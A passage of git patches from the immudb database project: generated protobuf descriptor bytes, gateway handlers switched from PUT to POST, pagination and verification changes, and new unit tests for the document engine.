0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, - 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, - 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, - 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, - 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, - 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, - 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, - 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, - 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7a, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x66, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x5a, 0x2c, 0x22, 0x27, + 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x2f, 0x7b, 0x73, 0x65, + 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, + 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, + 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x51, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x3d, 0x22, 0x38, 0x2f, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x2f, 0x7b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, + 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x51, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x3d, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x2f, 0x7b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x70, 0x72, + 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, + 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, + 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, + 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, + 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, + 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, + 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, + 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/protomodel/documents.pb.gw.go b/pkg/api/protomodel/documents.pb.gw.go index 02420d5d25..d1af1cfab5 100644 --- a/pkg/api/protomodel/documents.pb.gw.go +++ b/pkg/api/protomodel/documents.pb.gw.go @@ -45,6 +45,24 @@ func request_DocumentService_CreateCollection_0(ctx context.Context, marshaler r return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["name"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "name") + } + + protoReq.Name, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "name", err) + } + msg, err := client.CreateCollection(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err @@ -62,6 +80,24 @@ func local_request_DocumentService_CreateCollection_0(ctx context.Context, marsh return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["name"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "name") + } + + protoReq.Name, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "name", err) + } + msg, err := server.CreateCollection(ctx, &protoReq) return msg, metadata, err @@ -945,7 +981,7 @@ func local_request_DocumentService_ProofDocument_0(ctx context.Context, marshale // Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterDocumentServiceHandlerFromEndpoint instead. func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server DocumentServiceServer) error { - mux.Handle("PUT", pattern_DocumentService_CreateCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_CreateCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -1060,7 +1096,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv }) - mux.Handle("PUT", pattern_DocumentService_CreateIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_CreateIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -1106,7 +1142,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv }) - mux.Handle("PUT", pattern_DocumentService_InsertDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_InsertDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -1308,7 +1344,7 @@ func RegisterDocumentServiceHandler(ctx context.Context, mux *runtime.ServeMux, // "DocumentServiceClient" to call the correct interceptors. func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client DocumentServiceClient) error { - mux.Handle("PUT", pattern_DocumentService_CreateCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_CreateCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -1408,7 +1444,7 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv }) - mux.Handle("PUT", pattern_DocumentService_CreateIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_CreateIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -1448,7 +1484,7 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv }) - mux.Handle("PUT", pattern_DocumentService_InsertDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_InsertDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -1592,7 +1628,7 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv } var ( - pattern_DocumentService_CreateCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"collections"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_CreateCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{"collection", "name"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_GetCollections_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"collections"}, "", runtime.AssumeColonVerbOpt(true))) From 6e6bcd3c92e5f3a3305277b1418830ce8c5940a1 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 16 May 2023 20:18:19 -0300 Subject: [PATCH 0554/1062] test(pkg/server): adjust test cases to take into account keepOpen when searching documents Signed-off-by: Jeronimo Irazabal --- pkg/server/documents_operations_test.go | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index ad1e52f063..0d137cc1c6 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -213,6 +213,7 @@ func TestPaginationOnReader(t *testing.T) { Query: query, Page: uint32(i), PageSize: 5, + KeepOpen: true, }) require.NoError(t, err) require.Len(t, resp.Revisions, 5) @@ -269,6 +270,7 @@ func TestPaginationOnReader(t *testing.T) { Query: query, Page: uint32(i), PageSize: 5, + KeepOpen: true, }) require.NoError(t, err) require.Len(t, resp.Revisions, 5) @@ -344,7 +346,7 @@ func TestPaginationWithoutSearchID(t *testing.T) { require.NoError(t, err) } - t.Run("test reader for multiple paginated reads without search ID should have multiple readers", func(t *testing.T) { + t.Run("test reader for multiple paginated reads without search ID should have no open readers", func(t *testing.T) { sessionID, err := sessions.GetSessionIDFromContext(ctx) require.NoError(t, err) @@ -382,7 +384,7 @@ func TestPaginationWithoutSearchID(t *testing.T) { require.Equal(t, i, docAtRev.Document.Fields["idx"].GetNumberValue()) } - require.Equal(t, 4, sess.GetPaginatedDocumentReadersCount()) + require.Zero(t, sess.GetPaginatedDocumentReadersCount()) }) } @@ -471,6 +473,7 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { Query: query, Page: uint32(i), PageSize: 4, + KeepOpen: true, }) require.NoError(t, err) require.Len(t, resp.Revisions, 4) From 3c51ed8663d7abd0796bd6d013a75faddf48b869 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 16 May 2023 20:18:42 -0300 Subject: [PATCH 0555/1062] chore(pkg/verification): use proto serialization Signed-off-by: Jeronimo Irazabal --- pkg/verification/verification.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkg/verification/verification.go b/pkg/verification/verification.go index e7e328991c..e855f49097 100644 --- a/pkg/verification/verification.go +++ b/pkg/verification/verification.go @@ -20,7 +20,6 @@ import ( "context" "crypto/ecdsa" "crypto/sha256" - "encoding/json" "fmt" "github.com/codenotary/immudb/embedded/document" @@ -30,6 +29,7 @@ import ( "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" structpb "github.com/golang/protobuf/ptypes/struct" + "google.golang.org/protobuf/proto" ) func VerifyDocument(ctx context.Context, @@ -72,7 +72,7 @@ func VerifyDocument(ctx context.Context, } // check encoded value is consistent with raw document - docBytes, err := json.Marshal(doc) + docBytes, err := proto.Marshal(doc) if err != nil { return nil, err } From cb6f01d2876b9aa4e22513970f8cae4ef3555aed Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Mon, 15 May 2023 15:13:41 +0530 Subject: [PATCH 0556/1062] chore: increase test coverage for document engine --- .github/workflows/push.yml | 4 +- embedded/document/document_id_test.go | 15 + embedded/document/engine_test.go | 24 +- embedded/document/errors_test.go | 52 ++++ embedded/document/options_test.go | 57 ++++ embedded/document/type_conversions_test.go | 184 +++++++++++ pkg/database/document_database_test.go | 339 +++++++++++++++++---- pkg/server/documents_operations_test.go | 327 ++++++++++++++++++++ 8 files changed, 943 insertions(+), 59 deletions(-) create mode 100644 embedded/document/errors_test.go create mode 100644 embedded/document/options_test.go create mode 100644 embedded/document/type_conversions_test.go diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 1486455fa2..7322a3edbb 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -365,8 +365,8 @@ jobs: export PATH=$PATH:$(go env GOPATH)/bin set -o pipefail - ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version --tags minio || true - cat coverage.txt | grep -v "schema.pb" | grep -v "schema_grpc.pb" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" > coverage.out + ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,httpclient,openapi,proto,protomodel --tags minio || true + cat coverage.txt | grep -v "schema.pb" | grep -v "schema_grpc.pb" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" | grep -v "httpclient" | grep -v "openapi" | grep -v "proto" | grep -v "protomodel" > coverage.out ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken ${{ secrets.COVERALLS_TOKEN }} # Stop minio diff --git a/embedded/document/document_id_test.go b/embedded/document/document_id_test.go index 388d241763..3c618f7458 100644 --- a/embedded/document/document_id_test.go +++ b/embedded/document/document_id_test.go @@ -104,6 +104,21 @@ func TestDocumentID_IncrementalCounter(t *testing.T) { } } +func TestDocumentID_FromRawBytes(t *testing.T) { + id := NewDocumentIDFromTx(1) + b := []byte(id.EncodeToHexString()) + + _, err := NewDocumentIDFromRawBytes([]byte{}) + require.ErrorIs(t, ErrIllegalArguments, err) + + _, err = NewDocumentIDFromRawBytes(b) + require.NoError(t, err) + + b = append(b, byte(0)) + _, err = NewDocumentIDFromRawBytes(b) + require.ErrorIs(t, ErrMaxLengthExceeded, err) +} + func BenchmarkHex(b *testing.B) { id := NewDocumentIDFromTx(0) for i := 0; i < b.N; i++ { diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 3448a0bec7..2dc61617ee 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -200,7 +200,7 @@ func TestDocumentAudit(t *testing.T) { require.NoError(t, err) // add document to collection - _, docID, err := engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + txID, docID, err := engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "country": structpb.NewStringValue("wonderland"), "pincode": structpb.NewNumberValue(2), @@ -234,6 +234,14 @@ func TestDocumentAudit(t *testing.T) { require.Len(t, revisions, 1) require.Equal(t, uint64(2), revisions[0].Revision) + t.Run("get encoded document should pass with valid docID", func(t *testing.T) { + _, field, doc, err := engine.GetEncodedDocument(context.Background(), collectionName, docID, 0) + require.NoError(t, err) + require.Equal(t, DefaultDocumentIDField, field) + require.Equal(t, txID+1, doc.TxID) + require.Equal(t, uint64(2), doc.Revision) + }) + // get document audit res, err := engine.AuditDocument(context.Background(), collectionName, docID, false, 0, 10) require.NoError(t, err) @@ -1061,9 +1069,17 @@ func TestGetCollection(t *testing.T) { require.Len(t, collection.Fields, 5) require.Len(t, collection.Indexes, 5) - expectedIndexKeys := []string{"_id", "number", "name", "pin", "country"} - for i, key := range expectedIndexKeys { - require.Equal(t, key, collection.Fields[i].Name) + expectedIndexKeys := []*protomodel.Field{ + {Name: "_id", Type: protomodel.FieldType_STRING}, + {Name: "number", Type: protomodel.FieldType_INTEGER}, + {Name: "name", Type: protomodel.FieldType_STRING}, + {Name: "pin", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + } + + for i, idxType := range expectedIndexKeys { + require.Equal(t, idxType.Name, collection.Fields[i].Name) + require.Equal(t, idxType.Type, collection.Fields[i].Type) } } diff --git a/embedded/document/errors_test.go b/embedded/document/errors_test.go new file mode 100644 index 0000000000..8e3d9558df --- /dev/null +++ b/embedded/document/errors_test.go @@ -0,0 +1,52 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ +package document + +import ( + "errors" + "testing" + + "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/embedded/store" +) + +func TestMayTranslateError(t *testing.T) { + errCustom := errors.New("custom error") + // Test cases with different error inputs + testCases := []struct { + inputError error + expected error + }{ + {nil, nil}, + {sql.ErrTableAlreadyExists, ErrCollectionAlreadyExists}, + {sql.ErrTableDoesNotExist, ErrCollectionDoesNotExist}, + {sql.ErrNoMoreRows, ErrNoMoreDocuments}, + {sql.ErrColumnAlreadyExists, ErrFieldAlreadyExists}, + {sql.ErrColumnDoesNotExist, ErrFieldDoesNotExist}, + {sql.ErrLimitedIndexCreation, ErrLimitedIndexCreation}, + {store.ErrTxReadConflict, ErrConflict}, + {store.ErrKeyAlreadyExists, ErrConflict}, + {errCustom, errCustom}, + } + + // Run the test cases + for _, tc := range testCases { + result := mayTranslateError(tc.inputError) + if result != tc.expected { + t.Errorf("Error translation mismatch. Input: %v, Expected: %v, Got: %v", tc.inputError, tc.expected, result) + } + } +} diff --git a/embedded/document/options_test.go b/embedded/document/options_test.go new file mode 100644 index 0000000000..b239c711df --- /dev/null +++ b/embedded/document/options_test.go @@ -0,0 +1,57 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ +package document + +import ( + "testing" + + "github.com/codenotary/immudb/embedded/store" + "github.com/stretchr/testify/require" +) + +func TestDefaultOptions(t *testing.T) { + // Call the DefaultOptions function + opts := DefaultOptions() + + // Assert that the returned value is not nil + require.NotNil(t, opts) +} + +func TestOptionsValidate(t *testing.T) { + // Test case with non-nil options + opts := &Options{} + err := opts.Validate() + require.Nil(t, err, "Expected no error for non-nil options") + + // Test case with nil options + var nilOpts *Options + err = nilOpts.Validate() + require.NotNil(t, err, "Expected error for nil options") + require.ErrorIs(t, err, store.ErrInvalidOptions, "Expected ErrInvalidOptions error") + require.Equal(t, "illegal arguments: invalid options: nil options", err.Error(), "Expected specific error message") +} + +func TestOptionsWithPrefix(t *testing.T) { + // Create initial options + opts := &Options{} + + // Call the WithPrefix method + prefix := []byte("test") + newOpts := opts.WithPrefix(prefix) + + // Assert that the returned options have the correct prefix + require.Equal(t, prefix, newOpts.prefix, "Expected prefix to be set in the new options") +} diff --git a/embedded/document/type_conversions_test.go b/embedded/document/type_conversions_test.go new file mode 100644 index 0000000000..51cac54c93 --- /dev/null +++ b/embedded/document/type_conversions_test.go @@ -0,0 +1,184 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ +package document + +import ( + "fmt" + "testing" + + "github.com/stretchr/testify/require" + "google.golang.org/protobuf/types/known/structpb" + + "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/pkg/api/protomodel" +) + +func TestStructValueToSqlValue(t *testing.T) { + // Test case for VarcharType + value := &structpb.Value{ + Kind: &structpb.Value_StringValue{StringValue: "test"}, + } + result, err := structValueToSqlValue(value, sql.VarcharType) + require.NoError(t, err, "Expected no error for VarcharType") + require.Equal(t, sql.NewVarchar("test"), result, "Expected Varchar value") + + // Test case for IntegerType + value = &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 42}, + } + result, err = structValueToSqlValue(value, sql.IntegerType) + require.NoError(t, err, "Expected no error for IntegerType") + require.Equal(t, sql.NewInteger(42), result, "Expected Integer value") + + // Test case for BLOBType + value = &structpb.Value{ + Kind: &structpb.Value_StringValue{StringValue: "1234"}, + } + result, err = structValueToSqlValue(value, sql.BLOBType) + require.NoError(t, err, "Expected no error for BLOBType") + docID, err := NewDocumentIDFromHexEncodedString("1234") + require.NoError(t, err) + expectedBlob := sql.NewBlob(docID[:]) + require.Equal(t, expectedBlob, result, "Expected Blob value") + + // Test case for Float64Type + value = &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 3.14}, + } + result, err = structValueToSqlValue(value, sql.Float64Type) + require.NoError(t, err, "Expected no error for Float64Type") + require.Equal(t, sql.NewFloat64(3.14), result, "Expected Float64 value") + + // Test case for BooleanType + value = &structpb.Value{ + Kind: &structpb.Value_BoolValue{BoolValue: true}, + } + result, err = structValueToSqlValue(value, sql.BooleanType) + require.NoError(t, err, "Expected no error for BooleanType") + require.Equal(t, sql.NewBool(true), result, "Expected Boolean value") + + // Test case for unsupported type + value = &structpb.Value{ + Kind: &structpb.Value_NullValue{}, + } + result, err = structValueToSqlValue(value, "datetime") + require.ErrorIs(t, err, ErrUnsupportedType, "Expected error for unsupported type") + require.Nil(t, result, "Expected nil result for unsupported type") +} + +func TestProtomodelValueTypeToSQLValueType(t *testing.T) { + testCases := []struct { + name string + valueType protomodel.FieldType + sqlType sql.SQLValueType + expectErr error + }{ + { + name: "string", + valueType: protomodel.FieldType_STRING, + sqlType: sql.VarcharType, + expectErr: nil, + }, + { + name: "integer", + valueType: protomodel.FieldType_INTEGER, + sqlType: sql.IntegerType, + expectErr: nil, + }, + { + name: "double", + valueType: protomodel.FieldType_DOUBLE, + sqlType: sql.Float64Type, + expectErr: nil, + }, + { + name: "boolean", + valueType: protomodel.FieldType_BOOLEAN, + sqlType: sql.BooleanType, + expectErr: nil, + }, + { + name: "unsupported", + valueType: 999, + sqlType: "", + expectErr: fmt.Errorf("%w(%d)", ErrUnsupportedType, 999), + }, + } + + for _, tc := range testCases { + t.Run(tc.name, func(t *testing.T) { + sqlType, err := protomodelValueTypeToSQLValueType(tc.valueType) + + require.Equal(t, tc.expectErr, err) + require.Equal(t, tc.sqlType, sqlType) + }) + } +} + +func TestSQLValueTypeDefaultLength(t *testing.T) { + testCases := []struct { + name string + valueType sql.SQLValueType + length int + expectErr error + }{ + { + name: "varchar", + valueType: sql.VarcharType, + length: sql.MaxKeyLen, + expectErr: nil, + }, + { + name: "integer", + valueType: sql.IntegerType, + length: 0, + expectErr: nil, + }, + { + name: "blob", + valueType: sql.BLOBType, + length: sql.MaxKeyLen, + expectErr: nil, + }, + { + name: "float64", + valueType: sql.Float64Type, + length: 0, + expectErr: nil, + }, + { + name: "boolean", + valueType: sql.BooleanType, + length: 0, + expectErr: nil, + }, + { + name: "unsupported", + valueType: "unknown", + length: 0, + expectErr: fmt.Errorf("%w(%s)", ErrUnsupportedType, "unknown"), + }, + } + + for _, tc := range testCases { + 